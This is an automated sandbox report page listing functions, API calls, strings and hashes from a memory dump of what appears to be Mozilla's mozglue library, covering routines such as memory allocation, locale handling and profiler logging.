Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: ebce671e029be9a16a9c0c71d76fd369a3e6dd31113420d3c2226e4fa82ffbdd
Instruction ID: ff01e36fd3d74c6b357ada35515ffefb1a2003522055e66ffed02d838a2a36aa
Opcode Fuzzy Hash: ebce671e029be9a16a9c0c71d76fd369a3e6dd31113420d3c2226e4fa82ffbdd
Instruction Fuzzy Hash: F451B477605701BBD7119B28C8806AFB3B6BFA5308F96051CE85A73B05D731F919CB92

Function 6C9C5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5DC9
std::_Facet_Register.LIBCPMT ref: 6C9C5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9C5C8C,?,6C99E829), ref: 6C9C5E45

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 5ab952971dd5b51f24ab4d2d209167d5d458ecf115006d0f6c3d11d77fbc6073
Instruction ID: 9dc92c9492394ef38cf025c1f1030d25d8cd90939c4c6e0a50f464e2c4dc9486
Opcode Fuzzy Hash: 5ab952971dd5b51f24ab4d2d209167d5d458ecf115006d0f6c3d11d77fbc6073
Instruction Fuzzy Hash: 6E418E707043059FCB00DF65C898AAE77B9EF9D318F144069E50A9B791EB34EC45CB62

Function 6C99CC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9631A7), ref: 6C99CDDD

Strings

<jemalloc>, xrefs: 6C99CF9F, 6C99CFB3
: (malloc) Error in VirtualFree(), xrefs: 6C99CFA4, 6C99CFB8

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 51644a73af61bd4c451e8cbc44d4e533a24f757b11e5738f3a7d994705bda751
Instruction ID: 48f6e9e746a1befbc69f35562f26cd496e6fc4d4c9df4b54e52e0d2e404b06d2
Opcode Fuzzy Hash: 51644a73af61bd4c451e8cbc44d4e533a24f757b11e5738f3a7d994705bda751
Instruction Fuzzy Hash: 8031E630B443065BFF10AFA58C45B6E7B79BF59B18F384018F616ABAC0DB70D8108BA4

Function 6C96ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C96F100: LoadLibraryW.KERNEL32(shell32,?,6C9DD020), ref: 6C96F122
Part of subcall function 6C96F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C96F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C96ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C96EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C96EDCC
CreateFileW.KERNEL32 ref: 6C96EE08
free.MOZGLUE(00000000), ref: 6C96EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C96EE32

Part of subcall function 6C96EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C96EBB5
Part of subcall function 6C96EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C99D7F3), ref: 6C96EBC3
Part of subcall function 6C96EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C99D7F3), ref: 6C96EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C96EDC1

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 62a11fe2268fedc98e585b7be126c38cc7650df0c5d06d456f0940d0f1fb8904
Instruction ID: bb5dfa459c57f699a1056206158772aec3aa26d443816d100eac1a4f912f9777
Opcode Fuzzy Hash: 62a11fe2268fedc98e585b7be126c38cc7650df0c5d06d456f0940d0f1fb8904
Instruction Fuzzy Hash: 2951D071D05204DBEB01DF69CC407EEB7B4AF69318F54842DE8556BB80E730E948CBA2

Function 6C9DA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9DA565

Part of subcall function 6C9DA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9DA4BE
Part of subcall function 6C9DA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9DA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9DA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9DA6B6

Strings

z, xrefs: 6C9DA6AE
0, xrefs: 6C9DA5FB

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 37560d6d80de957a7cb874c3af0a6fb1ac3f2e5de5782c9337517793a86e7a3d
Instruction ID: cc54a6fa76f7a7508ee3af50abf586e8a4ee86f999230ba11beb60bcacc5ea75
Opcode Fuzzy Hash: 37560d6d80de957a7cb874c3af0a6fb1ac3f2e5de5782c9337517793a86e7a3d
Instruction Fuzzy Hash: D5413771909B45DFC341DF28C080A9FBBE5BF99354F408A2EF49997650EB30E559CB82

Function 6C9678C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9E008B), ref: 6C967B89
free.MOZGLUE(?,6C9E008B), ref: 6C967BAC

Part of subcall function 6C9678C0: free.MOZGLUE(?,6C9E008B), ref: 6C967BCF

free.MOZGLUE(?,6C9E008B), ref: 6C967BF2

Part of subcall function 6C985E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C985EDB
Part of subcall function 6C985E90: memset.VCRUNTIME140(6C9C7765,000000E5,55CCCCCC), ref: 6C985F27
Part of subcall function 6C985E90: LeaveCriticalSection.KERNEL32(?), ref: 6C985FB2

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: e0d9ccb87586ad3ebd4cc79f098ae61bb2020205659ac7a8a820c74b5147a01d
Instruction ID: 022ddb5a4f8435c6e9fd4f8fc5389646b8f004cc6be7a92c1ee60df715c6c9d2
Opcode Fuzzy Hash: e0d9ccb87586ad3ebd4cc79f098ae61bb2020205659ac7a8a820c74b5147a01d
Instruction Fuzzy Hash: 43C1A171E011298BFB248B29CCA0BADB772AF51318F1507A9D41AABFC1C731DE858F51

Function 6C9A9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C99AB89: EnterCriticalSection.KERNEL32(6C9EE370,?,?,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284), ref: 6C99AB94
Part of subcall function 6C99AB89: LeaveCriticalSection.KERNEL32(6C9EE370,?,6C9634DE,6C9EF6CC,?,?,?,?,?,?,?,6C963284,?,?,6C9856F6), ref: 6C99ABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C974A68), ref: 6C9A945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9A9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9A9482
__Init_thread_footer.LIBCMT ref: 6C9A949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9A947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9A9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9A946B

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: a286742f646dde5702e9f9cea5497f30a33b84af54e0ec103b573ab522e1fd48
Instruction ID: 5339ff1b63fb6d48df6833fe8939d8d2a163d2888a2dfa06ef6f11877cd6da4c
Opcode Fuzzy Hash: a286742f646dde5702e9f9cea5497f30a33b84af54e0ec103b573ab522e1fd48
Instruction Fuzzy Hash: C3012870A04100CBEF40DB9DE808A4533B8EF6E72DF150537D90A86F42EA22D5558957

Function 6C9B0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B0F88
GetCurrentThreadId.KERNEL32 ref: 6C9B0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9B1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9B10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9B114B

Part of subcall function 6C9A8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9C1563), ref: 6C9A8BD5

free.MOZGLUE(?), ref: 6C9B1174
free.MOZGLUE(?), ref: 6C9B1186

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: b30f9ceb7e3b0842f98cfcc2aebbe29dd9bd03de2edff1ebd90226e7406afeac
Instruction ID: 5cc031c2bfc3178bbca1dfc65de5f7bb7ab067326ea35db39abc47d02ba77459
Opcode Fuzzy Hash: b30f9ceb7e3b0842f98cfcc2aebbe29dd9bd03de2edff1ebd90226e7406afeac
Instruction Fuzzy Hash: C961B075A08740ABDB10CF24C98079BB7F9BFEA308F14891DE89967711EB31E559CB81

Function 6C96B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6AC

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6D1
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B6E3
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B70B
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B71D
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,6C96B61E), ref: 6C96B73F
moz_xmalloc.MOZGLUE(80000023,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B760
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,6C96B61E,?,?,?,?,?,00000000), ref: 6C96B79A

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfreemalloc
String ID:
API String ID: 1394714614-0
Opcode ID: 7772abed08f2a13fa68adfb29ded0061e12236ccacb5f151e3e1d38c6076494c
Instruction ID: f5252f8c939df9c436621fd88dc9660449442bc99005785a882ea740c3a9cbb9
Opcode Fuzzy Hash: 7772abed08f2a13fa68adfb29ded0061e12236ccacb5f151e3e1d38c6076494c
Instruction Fuzzy Hash: BF41B2B2D001159FDB14DF69DC806AEF7B9BB64324F250629F825E7B80E731E9148BE1

Function 6C96EF30 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(6C9E5104), ref: 6C96EFAC
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C96EFD7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C96EFEC
free.MOZGLUE(?), ref: 6C96F00C
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C96F02E
memcpy.VCRUNTIME140(00000000,?), ref: 6C96F041
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C96F065
moz_xmalloc.MOZGLUE ref: 6C96F072

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: memcpy$moz_xmalloc$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 1148890222-0
Opcode ID: cbdc22c968b6a48f71de8475aceba86b470a56f1484dddc6e3e0b02956e324bf
Instruction ID: 557e869bce74702624e59ac9da750bc58e7692a23e164174818f0416366be11d
Opcode Fuzzy Hash: cbdc22c968b6a48f71de8475aceba86b470a56f1484dddc6e3e0b02956e324bf
Instruction Fuzzy Hash: 3A41E7B1A002059FDB08CF68DC819BF7769BF98318B244628E815DBBD4EB31E915C7E1

Function 6C9DB540 Relevance: 12.1, APIs: 8, Instructions: 93COMMON

Download Yara Rule

APIs

?classic@locale@std@@SAABV12@XZ.MSVCP140 ref: 6C9DB5B9
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9DB5C5
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9DB5DA
??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9DB5F4
__Init_thread_footer.LIBCMT ref: 6C9DB605
?_Getcat@?$ctype@D@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(00000000,?,00000000), ref: 6C9DB61F
std::_Facet_Register.LIBCPMT ref: 6C9DB631
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9DB655

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?classic@locale@std@@Bid@locale@std@@D@std@@Facet_Getcat@?$ctype@Init_thread_footerRegisterV12@V42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 1276798925-0
Opcode ID: cba2a67c14c799d6d4f00a83a1ba15c3fed1f2e52bcfdcb033a9543eb786d8e5
Instruction ID: 32d48d8583099e5c8a6042f720e2bf5664908c77e877ccaaac345255936da4ce
Opcode Fuzzy Hash: cba2a67c14c799d6d4f00a83a1ba15c3fed1f2e52bcfdcb033a9543eb786d8e5
Instruction Fuzzy Hash: B931C771B04204CBCF40DF68D8589AEBBB5FFAE324B250526D902A7740DB30E946CF91

Function 6C979830 Relevance: 10.7, APIs: 7, Instructions: 196COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,?,?,6C9C7ABE), ref: 6C97985B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,6C9C7ABE), ref: 6C9798A8
moz_xmalloc.MOZGLUE(00000020), ref: 6C979909
memcpy.VCRUNTIME140(00000023,?,?), ref: 6C979918
free.MOZGLUE(?), ref: 6C979975

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: free$_invalid_parameter_noinfo_noreturnmemcpymoz_xmalloc
String ID:
API String ID: 1281542009-0
Opcode ID: c53b629028317d3fe66ba8216537cbeb3d0bdfd7359a43aaed88a9af2ca03378
Instruction ID: 32ce69089bfbd6f602876d1bbafd33761c44e2dd4c24b450ad4fda9e3038a569
Opcode Fuzzy Hash: c53b629028317d3fe66ba8216537cbeb3d0bdfd7359a43aaed88a9af2ca03378
Instruction Fuzzy Hash: 3971AC746067068FD725CF28C480A66B7F5FF4A3247254AADD85A8BBA0D731F845CB60

Function 6C97B790 Relevance: 10.6, APIs: 7, Instructions: 147COMMON

Download Yara Rule

APIs

?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B7E6
?good@ios_base@std@@QBE_NXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B80C
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(?,00000000,?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE), ref: 6C97B88E
?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QAEXXZ.MSVCP140(?,6C9BCC83,?,?,?,?,?,?,?,?,?,6C9BBCAE,?,?,6C9ADC2C), ref: 6C97B896

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ?good@ios_base@std@@D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@Osfx@?$basic_ostream@
String ID:
API String ID: 922945588-0
Opcode ID: 66e920192bcbeb1d4a9e7565afd61cefbe8bc802ab2fd20b300176dca7e25cf7
Instruction ID: 8c990dbb3facbcaf6f67f5a42b944458520323cee6fab8eee6fc31d121235e54
Opcode Fuzzy Hash: 66e920192bcbeb1d4a9e7565afd61cefbe8bc802ab2fd20b300176dca7e25cf7
Instruction Fuzzy Hash: AC519A757052048FCB25CF58C484A6ABBF9FF88318F69859DE99A87341C730EC01CB94

Function 6C9B1D00 Relevance: 10.6, APIs: 7, Instructions: 115threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B1D0F
AcquireSRWLockExclusive.KERNEL32(?,?,6C9B1BE3,?,?,6C9B1D96,00000000), ref: 6C9B1D18
ReleaseSRWLockExclusive.KERNEL32(?,?,6C9B1BE3,?,?,6C9B1D96,00000000), ref: 6C9B1D4C
GetCurrentThreadId.KERNEL32 ref: 6C9B1DB7
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C9B1DC0
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9B1DDA

Part of subcall function 6C9B1EF0: GetCurrentThreadId.KERNEL32 ref: 6C9B1F03
Part of subcall function 6C9B1EF0: AcquireSRWLockExclusive.KERNEL32(?,?,?,?,?,6C9B1DF2,00000000,00000000), ref: 6C9B1F0C
Part of subcall function 6C9B1EF0: ReleaseSRWLockExclusive.KERNEL32 ref: 6C9B1F20

moz_xmalloc.MOZGLUE(00000008,00000000,00000000), ref: 6C9B1DF4

Part of subcall function 6C97CA10: malloc.MOZGLUE(?), ref: 6C97CA26

Memory Dump Source

Source File: 00000000.00000002.2795916004.000000006C961000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C960000, based on PE: true

Associated: 00000000.00000002.2795876008.000000006C960000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796006134.000000006C9DD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796050116.000000006C9EE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796086383.000000006C9F2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c960000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$mallocmoz_xmalloc
String ID:
API String ID: 1880959753-0
Opcode ID: 7e860e8e495f147057836e6df9f731a603678433fdec7c1fa38ab527f0182d09
Instruction ID: 8855405187fffb5104d16c006f7a4c5ef868342132be43da36e1e6d21b779c3a
Opcode Fuzzy Hash: 7e860e8e495f147057836e6df9f731a603678433fdec7c1fa38ab527f0182d09
Instruction Fuzzy Hash: 6D4188B5204704AFCB50CF28C889A56BBF9FFA9314F20442EE95A87B41CB31F854CB94

Function 6C9738A0 Relevance: 10.6, APIs: 7, Instructions: 80memoryCOMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C9EE220,?,?,?,?,6C973899,?), ref: 6C9738B2
